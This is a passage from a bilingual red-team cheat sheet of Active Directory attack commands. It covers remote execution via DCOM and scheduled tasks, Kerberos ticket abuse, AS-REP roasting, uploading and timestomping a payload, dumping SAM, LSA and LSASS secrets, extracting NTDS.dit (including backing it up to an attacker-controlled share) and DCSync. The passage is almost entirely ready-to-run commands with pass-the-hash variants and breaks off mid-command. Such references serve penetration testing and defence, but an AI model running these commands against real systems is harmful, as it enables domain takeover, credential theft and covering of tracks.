[↑ Volver al Índice](#index)

---

### DCOM Exec

> **Titanis `Dcom invoke` — Procedimiento operativo estándar (SOP) de búsqueda de CLSID:**
> - **La resolución de ProgID es local.** Titanis resuelve los ProgID (p. ej., `MMC20.Application`) desde el registro del atacante, no el del objetivo. Desde Linux no hay ningún registro contra el que resolver; desde Windows, el CLSID del atacante puede diferir del del objetivo. Usa siempre `Reg` para consultar el CLSID real en el sistema remoto y luego pasa el GUID puro.
> - **Recorrido de cadena de propiedades** (v0.9.20260320+): Dcom invoke ahora admite rutas de propiedades con puntos como `Document.ActiveView.ExecuteShellCommand`, recorriendo automáticamente la cadena IDispatch. MMC20.Application funciona. `Item()` de ShellWindows no funciona: requiere un argumento de índice que la sintaxis de cadena no puede pasar.```bash
# impacket
dcomexec.py DOMAIN/jdoe:[email protected] "whoami"

# impacket — pass-the-hash
dcomexec.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] "whoami"

# impacket — explicit CLSID (default is MMC20.Application; ShellWindows or ShellBrowserWindow also work)
dcomexec.py DOMAIN/jdoe:[email protected] "whoami" -object ShellWindows
dcomexec.py DOMAIN/jdoe:[email protected] "whoami" -object ShellBrowserWindow

# gopacket — password (interactive semi-shell; default object is ShellWindows)
dcomexec DOMAIN/jdoe:[email protected]

# gopacket — pass-the-hash with MMC20 object
dcomexec -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -object MMC20 DOMAIN/[email protected]

# gopacket — silent command execution (no interactive shell, output redirect required)
dcomexec -object MMC20 -silentcommand DOMAIN/jdoe:[email protected] \
  'cmd /c whoami > C:\Windows\Temp\out.txt'

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 -x "whoami" --exec-method dcomexec

# Titanis — MMC20.Application ExecuteShellCommand (requires v0.9.20260320+)
# 4 args: Command, Directory, Parameters, WindowState (7=minimized)
# ExecuteShellCommand does not return output — redirect to a file and retrieve via Smb2Client
Dcom invoke 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  49B2791A-B1AE-4C90-9B8E-E860BA07F889 \
  Document.ActiveView.ExecuteShellCommand \
  cmd.exe 'C:\' '/c whoami > C:\Windows\Temp\out.txt' '7'

Smb2Client get -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  '\\192.168.1.10\C$\Windows\Temp\out.txt'

# Titanis — ShellBrowserWindow Navigate (launches exe, no args — works on older versions too)
Dcom invoke 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  '{C08AFD90-F2A1-11D1-8455-00A0C91F3880}' Navigate \
  'C:\Windows\System32\cmd.exe'

# CLSID lookup SOP — look up on the remote system, then pass the raw GUID
# Step 1: Titanis Reg list cannot read unnamed (default) registry values — use wmiexec
wmiexec.py DOMAIN/jdoe:[email protected] \
  'reg query HKCR\\MMC20.Application\\CLSID /ve'
# → (Default)    REG_SZ    {49B2791A-B1AE-4C90-9B8E-E860BA07F889}

# Step 2 (optional): inspect the CLSID entry to confirm AppID/auth level
Reg list 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  'HKLM\SOFTWARE\Classes\CLSID\{49B2791A-B1AE-4C90-9B8E-E860BA07F889}'

[↑ Volver al índice](#index)

---

### Ejecución de tarea programada

> **Nota:** MS-TSCH aún no está implementado en Titanis. Use `Win32_ScheduledJob` mediante WMI como solución alternativa, o `atexec.py` para semántica MS-TSCH real.```bash
# Titanis — create immediate scheduled task via Win32_ScheduledJob
Wmi invoke 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  Win32_ScheduledJob Create \
  "Command='cmd /c whoami > C:\\Windows\\Temp\\out.txt',StartTime='********143000.000000+000'"

# Titanis — retrieve output and clean up
Smb2Client get \\192.168.1.10\C$\Windows\Temp\out.txt out.txt \
  -UserName jdoe -UserDomain DOMAIN -Password Password123
Smb2Client rm  \\192.168.1.10\C$\Windows\Temp\out.txt \
  -UserName jdoe -UserDomain DOMAIN -Password Password123

# impacket — true MS-TSCH (creates, runs, and cleans up automatically)
atexec.py DOMAIN/jdoe:[email protected] "whoami > C:\Windows\Temp\out.txt"

# gopacket — MS-TSCH scheduled task exec (runs as NT AUTHORITY\SYSTEM)
atexec DOMAIN/jdoe:[email protected] whoami
# gopacket — pass-the-hash
atexec -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] whoami

# impacket — pass-the-hash
atexec.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] \
  "whoami > C:\Windows\Temp\out.txt"

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 -x "whoami" --exec-method atexec

[↑ Volver al índice](#index)

---

## 2. Kerberos

### Solicitar un TGT```bash
# impacket — password
getTGT.py DOMAIN/jdoe:Password123 -dc-ip 192.168.1.1

# gopacket — password
getTGT -dc-ip 192.168.1.1 DOMAIN/jdoe:[email protected]

# minikerberos — password
minikerberos-getTGT "kerberos+password://DOMAIN\jdoe:[email protected]" --ccache jdoe.ccache

# Titanis — password (outputs kirbi)
Kerb asreq -UserName jdoe -Realm DOMAIN -Password Password123 \
  -Kdc 192.168.1.1 -OutputFileName jdoe-tgt.kirbi

# Metasploit
msf6 > use auxiliary/admin/kerberos/get_ticket
msf6 auxiliary(get_ticket) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL user=jdoe \
  password=Password123 action=GET_TGT

# impacket — NTLM hash
getTGT.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/jdoe -dc-ip 192.168.1.1

# gopacket — NTLM hash
getTGT -dc-ip 192.168.1.1 -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

# minikerberos — NTLM hash
minikerberos-getTGT "kerberos+ntlm-nt://DOMAIN\jdoe:[email protected]" --ccache jdoe.ccache

# Titanis — NTLM hash
Kerb asreq -UserName jdoe -Realm DOMAIN -NtlmHash A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  -Kdc 192.168.1.1 -OutputFileName jdoe-tgt.kirbi

# impacket — AES256
getTGT.py -aesKey 76332deee4296dcb20200888630755268e605c8576e50ff38db2d8b92351f4e4 DOMAIN/jdoe

# minikerberos — AES256
minikerberos-getTGT \
  "kerberos+aes://DOMAIN\jdoe:76332deee4296dcb20200888630755268e605c8576e50ff38db2d8b92351f4e4@192.168.1.1" \
  --ccache jdoe.ccache

# Titanis — AES256
Kerb asreq -UserName jdoe -Realm DOMAIN \
  -AesKey 76332deee4296dcb20200888630755268e605c8576e50ff38db2d8b92351f4e4 \
  -Kdc 192.168.1.1 -OutputFileName jdoe-tgt.kirbi

# certipy — PKINIT
certipy auth -pfx jdoe.pfx -dc-ip 192.168.1.1 -domain DOMAIN.LOCAL

# minikerberos — PKINIT (also recovers NT hash via UnPAC)
minikerberos-getTGT \
  "kerberos+pfx://DOMAIN\jdoe:@192.168.1.1?pfx=jdoe.pfx&pfxpass=Password123" \
  --ccache jdoe.ccache

# Titanis — explicit RC4
Kerb asreq -UserName jdoe -Realm DOMAIN -Password Password123 \
  -EncTypes Rc4Hmac -Kdc 192.168.1.1 -OutputFileName jdoe-tgt-rc4.kirbi

[↑ Volver al índice](#index)

---

### S4U2self / S4U2proxy```bash
# impacket — S4U2self + S4U2proxy in one call
getST.py -spn cifs/target.domain.local -impersonate Administrator \
  -dc-ip 192.168.1.1 DOMAIN/svc:Password123

# impacket — pass-the-hash
getST.py -spn cifs/target.domain.local -impersonate Administrator \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -dc-ip 192.168.1.1 DOMAIN/svc

# minikerberos — S4U2self
minikerberos-getS4U2self \
  "kerberos+password://DOMAIN\svc$:[email protected]" \
  [email protected] s4u_self.ccache

# minikerberos — S4U2proxy
minikerberos-getS4U2proxy \
  "kerberos+password://DOMAIN\svc$:[email protected]" \
  cifs/target.domain.local s4u_self.ccache s4u_proxy.ccache

# Titanis — combined self+proxy
Kerb tgsreq -Kdc 192.168.1.1 -Tgt svc-tgt.kirbi \
  -S4UserName Administrator@DOMAIN cifs/target.domain.local \
  -OutputFileName admin-target.kirbi

# gopacket — S4U2self + S4U2proxy (combined)
getST -dc-ip 192.168.1.1 -spn cifs/target.domain.local -impersonate Administrator \
  DOMAIN/svc:[email protected]
# gopacket — pass-the-hash
getST -dc-ip 192.168.1.1 -spn cifs/target.domain.local -impersonate Administrator \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

[↑ Volver al índice](#index)

---

### AS-REP Roasting```bash
# impacket — no credentials required
GetNPUsers.py -dc-ip 192.168.1.1 -no-pass -usersfile users.txt DOMAIN/

# Metasploit
msf6 > use auxiliary/gather/kerberos_enumusers
msf6 auxiliary(kerberos_enumusers) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL \
  user_file=/path/to/users.txt

# NetExec
netexec ldap 192.168.1.1 -u jdoe -p Password123 --asreproast asrep.txt

# pypykatz — no credentials required, userlist
pypykatz kerberos asreproast "kerberos+password://DOMAIN\@192.168.1.1" \
  --userlist users.txt -o asrep_hashes.txt

# pypykatz — authenticated, auto-discover targets via LDAP
pypykatz kerberos asreproast "kerberos+password://DOMAIN\jdoe:[email protected]" \
  --ldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]" -o asrep_hashes.txt

# minikerberos — userlist (no credentials required)
# syntax: minikerberos-asreproast <server_ip> <domain> [user | @userlist.txt]
minikerberos-asreproast 192.168.1.1 DOMAIN @users.txt

# minikerberos — NTLM hash auth (enumerate via LDAP, then roast)
# Pass individual username or @file; no URL arg — server+domain are positional
minikerberos-asreproast 192.168.1.1 DOMAIN @users.txt

# msldap (enumerate targets only — no hash capture)
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
# msldap> asrep

# Titanis — find targets via LDAP, loop asreq
# Note: -FollowReferrals required on Linux — default behavior prints referral as INFO and returns no records
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  "(userAccountControl|=4194304)" \
  -OutputFields sAMAccountName -FollowReferrals > asrep_targets.txt
while IFS= read -r user; do
  kerb asreq -UserName "$user" -Realm DOMAIN \
    -Kdc 192.168.1.1 -EncTypes Rc4Hmac \
    -OutputFileName "asrep_${user}.kirbi" 2>/dev/null
done < <(awk '/sAMAccountName:/{print $2}' asrep_targets.txt)

# gopacket — authenticated LDAP enumeration + roast (requires -port 389)
GetNPUsers -dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
GetNPUsers -dc-ip 192.168.1.1 -port 389 \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
# gopacket — unauthenticated with user list
GetNPUsers -dc-ip 192.168.1.1 -no-pass -usersfile users.txt DOMAIN/@192.168.1.1

[↑ Volver al índice](#index)

---

### Pre-Auth / Sonda de Tipo-Enc```bash
# kerbrute — enumerate valid accounts (no credentials)
kerbrute userenum -d DOMAIN --dc 192.168.1.1 users.txt

# pypykatz — enumerate valid accounts (no credentials)
pypykatz kerberos brute "kerberos+password://DOMAIN\@192.168.1.1" users.txt

# impacket — shows no-preauth accounts only
GetNPUsers.py -dc-ip 192.168.1.1 -no-pass -usersfile users.txt DOMAIN/

# Metasploit — classifies valid / disabled / no-preauth
msf6 > use auxiliary/gather/kerberos_enumusers
msf6 auxiliary(kerberos_enumusers) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL \
  user_file=/path/to/users.txt verbose=true

# Titanis — single account probe
Kerb getasinfo -UserName jdoe -Realm DOMAIN -Kdc 192.168.1.1

# Titanis — bulk probe loop
while IFS= read -r user; do
  result=$(kerb getasinfo -UserName "$user" -Realm DOMAIN -Kdc 192.168.1.1 2>&1)
  if echo "$result" | grep -q "PRINCIPAL_UNKNOWN\|does not exist"; then
    echo "INVALID: $user"
  elif echo "$result" | grep -q "preauth.*false\|DONT_REQ_PREAUTH"; then
    echo "NO-PREAUTH: $user"
  else
    echo "VALID: $user"
  fi
done < users.txt

[↑ Back to Index](#index)

---

### Renovación de tickets```bash
# impacket
export KRB5CCNAME=jdoe.ccache
getST.py -k -no-pass -renew -spn krbtgt/DOMAIN.LOCAL -dc-ip 192.168.1.1 DOMAIN/jdoe

# MIT Kerberos
kinit -R
krenew -v -b -t

# minikerberos
minikerberos-renewTGT "kerberos+ccache://DOMAIN\jdoe:@192.168.1.1?ccache=jdoe.ccache" jdoe-renewed.ccache

# Titanis
Kerb renew -Ticket jdoe-tgt.kirbi -OutputFileName jdoe-tgt-renewed.kirbi

# gopacket — renew TGT (KRB5CCNAME must point to an existing ccache)
KRB5CCNAME=jdoe.ccache getST -renew -spn krbtgt/DOMAIN.LOCAL -dc-ip 192.168.1.1 -k -no-pass DOMAIN/[email protected]

[↑ Volver al Índice](#index)

---

### Cambiar Contraseña```bash
# impacket — user changes own password
changepasswd.py -protocol kpasswd DOMAIN/jdoe:[email protected] -newpass NewPass

# Titanis — change own password
Kerb changepw jdoe@DOMAIN 192.168.1.1 -Password OldPass NewPass

# impacket — admin resets another user's password
changepasswd.py -reset DOMAIN/admin:[email protected] -newpass NewPass -altuser DOMAIN/jdoe

# bloodyAD — admin resets another user's password
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass set password jdoe NewPass

# bloodyAD — pass-the-hash
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 set password jdoe NewPass

# Titanis — admin sets another user's password
Kerb setpw -UserName admin -UserDomain DOMAIN -Kdc 192.168.1.1 -Password AdminPass jdoe@DOMAIN NewPass

# gopacket — admin resets another user's password (SAMR over SMB)
changepasswd -reset -altuser DOMAIN/admin -altpass AdminPass -newpass NewPass DOMAIN/[email protected]
# gopacket — admin reset via pass-the-hash
changepasswd -reset -altuser DOMAIN/admin -althash A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -newpass NewPass DOMAIN/[email protected]

[↑ Volver al Índice](#index)

---

## 3. SMB / Operaciones de archivos

### Listar recursos compartidos```bash
# impacket
smbclient.py -shares DOMAIN/jdoe:[email protected]

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --shares

# smbclient
smbclient -L //192.168.1.10 -U 'DOMAIN\jdoe%Password123'

# aiosmb — password
asmbshareenum "smb+ntlm-password://DOMAIN\jdoe:[email protected]"

# aiosmb — pass-the-hash
asmbshareenum "smb+ntlm-nt://DOMAIN\jdoe:[email protected]"

# aiosmb — Kerberos ccache
asmbshareenum "smb+kerberos+ccache://DOMAIN\jdoe:@192.168.1.10/?dc=192.168.1.1&ccache=jdoe.ccache"

# Titanis
Smb2Client enumshares \\192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123

# gopacket — password
smbclient -shares DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
smbclient -shares -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

[↑ Volver al índice](#index)

---

### Descargar un archivo```bash
# impacket
smbclient.py DOMAIN/jdoe:[email protected]
# smb: \> get Windows\System32\drivers\etc\hosts hosts.txt

# smbclient
smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' \
  -c 'get Windows\System32\drivers\etc\hosts hosts.txt'

# aiosmb — password (full path embedded in URL after the host)
asmbgetfile "smb+ntlm-password://DOMAIN\jdoe:[email protected]/C$/Windows/System32/drivers/etc/hosts" \
  -o hosts.txt

# aiosmb — pass-the-hash
asmbgetfile "smb+ntlm-nt://DOMAIN\jdoe:[email protected]/C$/Windows/System32/drivers/etc/hosts" \
  -o hosts.txt

# Titanis
Smb2Client get \\192.168.1.10\C$\Windows\System32\drivers\etc\hosts hosts.txt \
  -UserName jdoe -UserDomain DOMAIN -Password Password123

[↑ Volver al índice](#index)

---

### Subir un archivo```bash
# impacket
smbclient.py DOMAIN/jdoe:[email protected]
# smb: \> put payload.exe Windows\Temp\payload.exe

# smbclient
smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' \
  -c 'put payload.exe Windows\Temp\payload.exe'

# Titanis
Smb2Client put payload.exe \\192.168.1.10\C$\Windows\Temp\payload.exe \
  -UserName jdoe -UserDomain DOMAIN -Password Password123

[↑ Volver al índice](#index)

---

### Listar named pipes```bash
# impacket
smbclient.py DOMAIN/jdoe:[email protected]
# smb: \> cd \pipe\
# smb: \pipe\> ls

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --pipe

# Titanis
Smb2Client ls \\192.168.1.10\IPC$ -UserName jdoe -UserDomain DOMAIN -Password Password123

[↑ Volver al índice](#index)

---

### SMB sobre SOCKS5```bash
# impacket
proxychains smbclient.py DOMAIN/jdoe:[email protected]

# aiosmb — SOCKS5 (native, no proxychains needed)
asmbclient "smb+ntlm-password://DOMAIN\jdoe:[email protected]/?proxyhost=127.0.0.1&proxyport=1080"

# aiosmb — SOCKS4
asmbclient "smb+ntlm-password://DOMAIN\jdoe:[email protected]/?proxytype=socks4&proxyhost=127.0.0.1&proxyport=1080"

# Titanis
Smb2Client ls \\192.168.1.10\C$ -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  -Socks5 127.0.0.1:1080

[↑ Volver al Índice](#index)

---

### Timestomping remoto de archivos```bash
# smbclient-ng
smbclient-ng --host 192.168.1.10 -u jdoe -p Password123 --domain DOMAIN \
  touch --time "2022-01-01 00:00:00" C$/Windows/Temp/payload.exe

# Titanis
Smb2Client touch \\192.168.1.10\C$\Windows\Temp\payload.exe \
  -UserName jdoe -UserDomain DOMAIN -Password Password123 -LastWriteTimestamp "2022-01-01 00:00:00"

> **Acceso a la ruta de instantánea @GMT:** `@GMT-...` no es un directorio real — Windows SRV.SYS intercepta el token en la ruta CREATE de SMB2 y lo redirige a la instantánea de VSS. Las herramientas que navegan por rutas componente a componente (incluido `Smb2Client get`) obtendrán `STATUS_OBJECT_PATH_NOT_FOUND`. Utilice smbclient.py o el smbclient nativo, que envían la ruta completa en una sola solicitud CREATE:
>
> ```bash
> # impacket smbclient.py — enumerate then pull via snapshot path
> smbclient.py DOMAIN/jdoe:[email protected]
> # smb: \> use c$
> # smb: \c$\> list_snapshots
> # @GMT-2026.03.15-22.24.19
> # smb: \c$\> get @GMT-2026.03.15-22.24.19\Windows\NTDS\ntds.dit ntds.dit
>
> # native smbclient (Samba)
> smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' \
>   -c 'get @GMT-2026.03.15-22.24.19\Windows\NTDS\ntds.dit ntds.dit'
> ```

[↑ Volver al índice](#index)

---

### Enumeración de flujos de datos alternativos (ADS) de NTFS```bash
# smbclient
smbclient //192.168.1.10/C$ -U 'DOMAIN\jdoe%Password123' \
  -c 'allinfo Windows\Temp\file.txt'

# smbclient-ng
smbclient-ng --host 192.168.1.10 -u jdoe -p Password123 --domain DOMAIN \
  streams C$/Windows/Temp/file.txt

# Titanis
Smb2Client enumstreams \\192.168.1.10\C$\Windows\Temp\file.txt \
  -UserName jdoe -UserDomain DOMAIN -Password Password123

[↑ Volver al índice](#index)

---

### Enumeración masiva de recursos compartidos```bash
# NetExec
netexec smb 192.168.1.0/24 -u jdoe -p Password123 --shares

# aiosmb — async subnet scanner (faster than looping)
# syntax: asmbscanner [global_opts] {file|brute|list} <url> <ip/cidr>
# results written to TSV files in output dir (-o dir, default: current dir)
asmbscanner -w 5 --no-progress file \
  "smb+ntlm-password://DOMAIN\jdoe:Password123@" 192.168.1.0/24

# aiosmb — pass-the-hash
asmbscanner -w 5 --no-progress file \
  "smb+ntlm-nt://DOMAIN\jdoe:A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5@" 192.168.1.0/24

# Titanis
while IFS= read -r host; do
  echo "=== $host ==="
  smb2 enumshares "\\\\${host}" -UserName jdoe -UserDomain DOMAIN \
    -Password Password123 2>/dev/null
done < hosts.txt

[↑ Back to Index](#index)

---

### Volcar Hashes SAM```bash
# impacket
secretsdump.py -sam DOMAIN/jdoe:[email protected]

# Metasploit
msf6 > use auxiliary/gather/windows_secrets_dump
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.10 smbdomain=DOMAIN \
  smbuser=jdoe smbpass=Password123 action=SAM

# Metasploit — pass-the-hash
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.10 smbdomain=DOMAIN \
  smbuser=jdoe smbpass=aad3b435b51404eeaad3b435b51404ee:A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  action=SAM

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --sam

# pypykatz — remote SAM dump via SMB
pypykatz smb regdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]" --sam
pypykatz smb regdump "smb2+ntlm-nt://DOMAIN\jdoe:[email protected]" --sam

# Titanis — requires -BackupSemantics even as domain admin; without it → ACCESS_DENIED
Reg dumpsam 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics

# Titanis — backup operator (no admin required, -BackupSemantics still required)
Reg dumpsam 192.168.1.10 -UserName backupuser -UserDomain DOMAIN \
  -Password Password123 -BackupSemantics

[↑ Volver al índice](#index)

---

### Volcar SAM + LSA juntos```bash
# impacket
secretsdump.py DOMAIN/jdoe:[email protected]

# Metasploit — ALL action (SAM + LSA + cached creds)
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.10 smbdomain=DOMAIN \
  smbuser=jdoe smbpass=Password123 action=ALL

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --sam --lsa

# pypykatz — remote registry dump via SMB
pypykatz smb regdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]"
pypykatz smb regdump "smb2+ntlm-nt://DOMAIN\jdoe:[email protected]"
pypykatz smb regdump "smb2+kerberos+ccache://DOMAIN\jdoe:@192.168.1.10?ccache=jdoe.ccache"

# pypykatz — remote LSASS dump + parse via SMB
pypykatz smb lsassdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]"
pypykatz smb lsassdump "smb2+ntlm-nt://DOMAIN\jdoe:[email protected]"

# pypykatz — combined (SAM + LSA + LSASS in one call)
pypykatz smb secretsdump "smb2+ntlm-password://DOMAIN\jdoe:[email protected]"

# Titanis — requires -BackupSemantics for both; without it → ACCESS_DENIED
Reg dumpsam        192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics
Reg dumplsasecrets 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 -BackupSemantics

# gopacket — SAM + LSA + DCSync (password)
secretsdump DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
secretsdump -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

[↑ Volver al Índice](#index)

---

### Volcado de NTDS mediante instantánea VSS

> Solicita una instantánea VSS en el DC y lee NTDS.dit + el hive SYSTEM directamente de la instantánea. No usa replicación: útil cuando DCSync está bloqueado o supervisado.

> **⚠️ Limitación de `-use-vss`:** el `-use-vss` de secretsdump usa smbexec internamente para ejecutar vssadmin y recopilar la salida. La creación del servicio smbexec requiere el nivel de autenticación SVCCTL `PacketPrivacy`, que secretsdump no negocia: la creación del servicio falla silenciosamente y el archivo de salida nunca se escribe. Usa `-use-remoteSSWMI -use-remoteSSWMI-NTDS` en su lugar, que evita SVCCTL por completo.```bash
# impacket — VSS method (default exec via smbexec)
# ⚠️ Fails if SVCCTL requires PacketPrivacy; use -use-remoteSSWMI-NTDS instead
secretsdump.py DOMAIN/Administrator:[email protected] -use-vss

# impacket — VSS with explicit exec method
secretsdump.py DOMAIN/Administrator:[email protected] -use-vss \
  -exec-method wmiexec

# impacket — VSS pass-the-hash
secretsdump.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  DOMAIN/[email protected] -use-vss

# impacket — VSS with output file + useful display flags
secretsdump.py DOMAIN/Administrator:[email protected] -use-vss \
  -outputfile ntds_dump -user-status -pwd-last-set

# impacket — WMI shadow snapshot (preferred VSS method; no SVCCTL / smbexec required)
# Creates VSS copy via Win32_ShadowCopy WMI class, downloads SAM/SYSTEM/SECURITY locally
secretsdump.py DOMAIN/Administrator:[email protected] -use-remoteSSWMI

# impacket — WMI shadow snapshot including NTDS.dit (DC-specific)
# -use-remoteSSWMI-NTDS must be used together with -use-remoteSSWMI
secretsdump.py DOMAIN/Administrator:[email protected] \
  -use-remoteSSWMI -use-remoteSSWMI-NTDS

# impacket — WMI shadow pass-the-hash
secretsdump.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  DOMAIN/[email protected] -use-remoteSSWMI -use-remoteSSWMI-NTDS

# NetExec — VSS method
netexec smb 192.168.1.1 -u Administrator -p Password123 --ntds vss

# NetExec — VSS pass-the-hash
netexec smb 192.168.1.1 -u Administrator -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 --ntds vss

# NetExec — VSS, enabled accounts only
netexec smb 192.168.1.1 -u Administrator -p Password123 --ntds vss --enabled

# Titanis — enumerate existing snapshots
Smb2Client enumsnapshots \\192.168.1.1\C$ -UserName Administrator -UserDomain DOMAIN -Password Password123

# Retrieve files from snapshot — use token from enumsnapshots or vssadmin output
smbclient.py DOMAIN/Administrator:[email protected]
# list_snapshots C$
# get @GMT-2024.01.01-00.00.00\Windows\NTDS\ntds.dit ntds.dit
# get @GMT-2024.01.01-00.00.00\Windows\System32\config\SYSTEM SYSTEM

# native smbclient (Samba)
smbclient //192.168.1.1/C$ -U 'DOMAIN\Administrator%Password123' \
  -c 'get @GMT-2024.01.01-00.00.00\Windows\NTDS\ntds.dit ntds.dit'
smbclient //192.168.1.1/C$ -U 'DOMAIN\Administrator%Password123' \
  -c 'get @GMT-2024.01.01-00.00.00\Windows\System32\config\SYSTEM SYSTEM'

# Parse offline
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

[↑ Volver al índice](#index)

---

### Volcado de NTDS mediante wbadmin (Copia de seguridad de Windows Server)

> `wbadmin` es un LOLBin integrado de Windows que usa VSS internamente para hacer copias de seguridad de archivos en un recurso compartido de red — sin almacenamiento local temporal, sin artefactos de ejecución de código más allá del trabajo de copia de seguridad. Funciona para Backup Operators (no se requiere DA). Requiere que el recurso compartido sea escribible desde el DC.

> **⚠️ Requiere la característica de Windows `WindowsServerBackup`.** El binario wbadmin está presente como un stub incluso cuando la característica no está instalada — se colgará o fallará silenciosamente. Verifica que la característica esté activa antes de intentarlo: `Get-WindowsFeature WindowsServerBackup` (PowerShell) o `DISM /online /Get-FeatureInfo /FeatureName:WindowsServerBackup`. Si `InstallState` no es `Installed`, este método no funcionará.```bash
# Check feature state (run via WMI exec before proceeding)
wmiexec.py DOMAIN/Administrator:[email protected] \
  "powershell -c \"(Get-WindowsFeature WindowsServerBackup).InstallState\""

# Step 1 — trigger backup of NTDS.dit from DC to an attacker-controlled share
# (run via wmiexec / scm / any exec method)
wmiexec.py DOMAIN/Administrator:[email protected] \
  "wbadmin start backup -backupTarget:\\\\<attacker-ip>\\share -include:C:\\Windows\\NTDS\\ntds.dit -quiet"

# Titanis — exec via WMI
Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -Password Password123 \
  "wbadmin start backup -backupTarget:\\\\<attacker-ip>\\share -include:C:\\Windows\\NTDS\\ntds.dit -quiet"

# Step 2 — list backup versions to get the version identifier
wmiexec.py DOMAIN/Administrator:[email protected] "wbadmin get versions"

# Step 3 — recover the NTDS.dit from the backup
wmiexec.py DOMAIN/Administrator:[email protected] \
  "wbadmin start recovery -version:<VERSION> -items:C:\\Windows\\NTDS\\ntds.dit \
  -itemType:File -recoveryTarget:C:\\Windows\\Temp\\ -notRestoreAcl -quiet"

# Step 4 — also need SYSTEM hive
wmiexec.py DOMAIN/Administrator:[email protected] \
  "reg save HKLM\\SYSTEM C:\\Windows\\Temp\\SYSTEM"

# Step 5 — retrieve both files and parse offline
Smb2Client get "\\192.168.1.1\C$\Windows\Temp\ntds.dit" ntds.dit \
  -UserName Administrator -UserDomain DOMAIN -Password Password123
Smb2Client get "\\192.168.1.1\C$\Windows\Temp\SYSTEM" SYSTEM \
  -UserName Administrator -UserDomain DOMAIN -Password Password123
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

[↑ Back to Index](#index)

---

### NTDS Dump mediante Kerb-Key-List (RODC)

> Extrae claves Kerberos AES para todas las cuentas del dominio mediante el protocolo de replicación de claves RODC. Requiere la clave AES o el hash NT de una cuenta `krbtgt` de RODC (`krbtgt_XXXXX`). No utiliza DRSUAPI ni VSS — útil en entornos donde DCSync está bloqueado. Solo recupera claves Kerberos, no hashes NTLM directamente (aunque NTLM puede derivarse de las claves RC4).```bash
# impacket — using RODC krbtgt AES key
secretsdump.py DOMAIN/Administrator:[email protected] \
  -use-keylist -rodcNo <RODC_number> \
  -rodcKey <rodc_krbtgt_aes256_hex>

# impacket — pass-the-hash to authenticate, then key-list
secretsdump.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  DOMAIN/[email protected] \
  -use-keylist -rodcNo <RODC_number> \
  -rodcKey <rodc_krbtgt_aes256_hex>

[↑ Volver al índice](#index)

---

### DCSync```bash
# pypykatz — full domain dump
pypykatz smb dcsync "smb2+ntlm-password://DOMAIN\Administrator:[email protected]"

# pypykatz — single user (less noisy)
pypykatz smb dcsync "smb2+ntlm-password://DOMAIN\Administrator:[email protected]" \
  --username krbtgt

# pypykatz — pass-the-hash
pypykatz smb dcsync \
